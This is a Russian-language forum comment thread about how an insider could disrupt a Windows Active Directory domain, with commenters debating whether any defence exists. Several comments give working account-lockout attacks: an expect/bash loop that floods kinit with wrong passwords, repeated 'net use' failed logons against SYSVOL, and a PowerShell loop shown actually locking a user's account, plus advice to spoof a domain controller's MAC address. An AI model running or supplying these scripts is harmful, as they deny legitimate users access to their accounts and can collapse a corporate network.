Комментарии³⁷

Essentially, you can't disable the null sessions in most instances of
Windows. It's the way Windows works. To change the defaults, even if you
can...even if many books wrongly suggest you can do it to improve
security...is to break your Windows machine. You can only disable on
stand-alone machines or significantly hardened machines that are placed
on an Internet edge or DMZ. For the most part, leave it alone.
Microsoft has patched and fix what they can regarding it, but we have to
live with a certain about of anonymous (null session) enumeration in our
domain controllers. It's the way Windows works.

Так что нуль-сессия тут как собаке пятая нога

А вот админ Рысь, так и не протрезвевший после вчерашнего, лишиться премии, как минимум.

Поставив скрипт в крон, Вася пошел домой...

просто левый чел, пришедший на собеседование и от скуки ожидания поломавший корпоративный Wi-Fi.

Rector, да Вы жжоте, как я посмотрю.

не хотите написать демо-версию скрипта

#kinit_1.sh

#!/usr/bin/expect

spawn kinit user@DOMEN.COM

expect "Password for user@DOMEN.COM:" 

send "1234567890\r"

expect "kinit: Preauthentication failed while getting initial credentials:"

#==========================================================================

spawn kinit user@DOMEN.COM

expect "Password for user@DOMEN.COM:" 

send "1234567890\r"

expect "kinit: Preauthentication failed while getting initial credentials:"

#==========================================================================

spawn kinit user@DOMEN.COM 

expect "Password for user@DOMEN.COM:" 

send "1234567890\r"

expect "kinit: Preauthentication failed while getting initial credentials:"

#==========================================================================

spawn kinit user@DOMEN.COM 

expect "Password for user@DOMEN.COM:" 

send "1234567890\r"

expect "kinit: Preauthentication failed while getting initial credentials:"

#!/bin/bash

while true;

do 

./kinit_1.sh

./kinit_2.sh

done

Придумайте что получше -)

В-третьих: достаточно назначить своей машине MAC от контроллера (или шлюза) - и оные разгвоздяи получат свою порцию развлечения.

1. Обида на коллег и начальников
2. Васю сокращают и он обиделся
3. Васю Одмины отключили от его любимых контактиков

90% приходиться на AD.

Здесь поясните пожалуйста.

есть машины с одинаковыми MAC-адресами

То есть, Вы назначите на КД мак-адрес, например шлюза

поставить на машину Васи мак от КД.

net group /domain

net group groupname /domain

net use \\domain\sysvol 123 /user:username

net use \\domain\sysvol 123 /user:username

Если мы говорим именно про концепцию, то никак.

Вы считаете что конструкция вида ... способна заблокировать учетную запись юзера, когда он придет утром на работу и попытается войти в свою учётку

C:\forumlinexp/Users\User1>net use \\domain\sysvol 123 /user:user2

Системная ошибка 86.



Сетевой пароль указан неверно.

Я так не думаю. Решение должно быть.

А уж будет ли она всё ещё заблокирована, когда пользователь попытается войти в систему - понятия не имею.

Какое может быть решение, если человек целенаправленно вводит неправильные пароли для пользователей

Проверьте, будьте добры -)

Решения есть, и Вы об этом прекрасно знаете. Просто Вы боитесь сказать. Говорите. Давайте обсудим это. Думаю, что это спасёт много админов от неприятностей.

Да, давайте, перейдём на Linux!

Использовать коммутаторы, которые могут привязывать порт к MAC-адресу

А коммутаторы Рысь нифига не настроил, да и вообще, купил D-Link вместо Cisco, а разницу себе на пиво откатил -)

В корпоративном Wi-Fi сделать аналогично

Прибить гвоздями учетки юзеров в домене, т.е. сделать привязку к IP/MAC

Или это что-то из серии "мне главное решить задачу концептуально"

Вы как себе это представляете с учётом аутентификации, TGT и так далее

отключить политику блокировки пароля. =))

а вот как это сделать

Или давайте рассмотрим Ваши варианты.

Очень смешно =))

net use \\domain\sysvol 123 /user:username

Тестер хоть сообщил о "баге", получил ответ, что это фича, и успокоился, а тут не-е-е-е-е-е-ет, давайте придумывать, где бы себе граблей похитрее разложить, чтобы по лбу получать побольнее и повнезапнее.

Белая рысь, Вы пробовали метод, который я изложил в старттопе

Два часа удалось удерживать сеть в коллапсе.

Ваша конструкция ... работает

PS C:\forumlinexp/Users\user> Get-ADUser User1 -Properties LockedOut | ft LockedOut



                                                                      LockedOut

                                                                      ---------

                                                                          False





PS C:\forumlinexp/Users\user> while (-not (Get-ADUser User1 -Properties LockedOut).LockedOut) {cmd /c net use \\domain.local 123 /user:domain\user1}

System error 1326 has occurred.



Logon failure: unknown user name or bad password.



System error 1326 has occurred.



Logon failure: unknown user name or bad password.



System error 1326 has occurred.



Logon failure: unknown user name or bad password.



System error 1326 has occurred.



Logon failure: unknown user name or bad password.



System error 1326 has occurred.



Logon failure: unknown user name or bad password.



System error 1326 has occurred.



Logon failure: unknown user name or bad password.



System error 1326 has occurred.



Logon failure: unknown user name or bad password.



System error 1326 has occurred.



Logon failure: unknown user name or bad password.



System error 1326 has occurred.



Logon failure: unknown user name or bad password.



System error 1326 has occurred.



Logon failure: unknown user name or bad password.



PS C:\forumlinexp/Users\user> Get-ADUser User1 -Properties LockedOut | ft LockedOut



                                                                      LockedOut

                                                                      ---------

                                                                           True

Не закрывайте глаза на очевидную проблему.

Жду от Вас реально работающих способов решения, а не фантазий вида "привязать пользователя к MAC-адресу". ;)

Вероятно они есть у Вас, но это некие сакральные знания, и делиться ими Вы не собираетесь.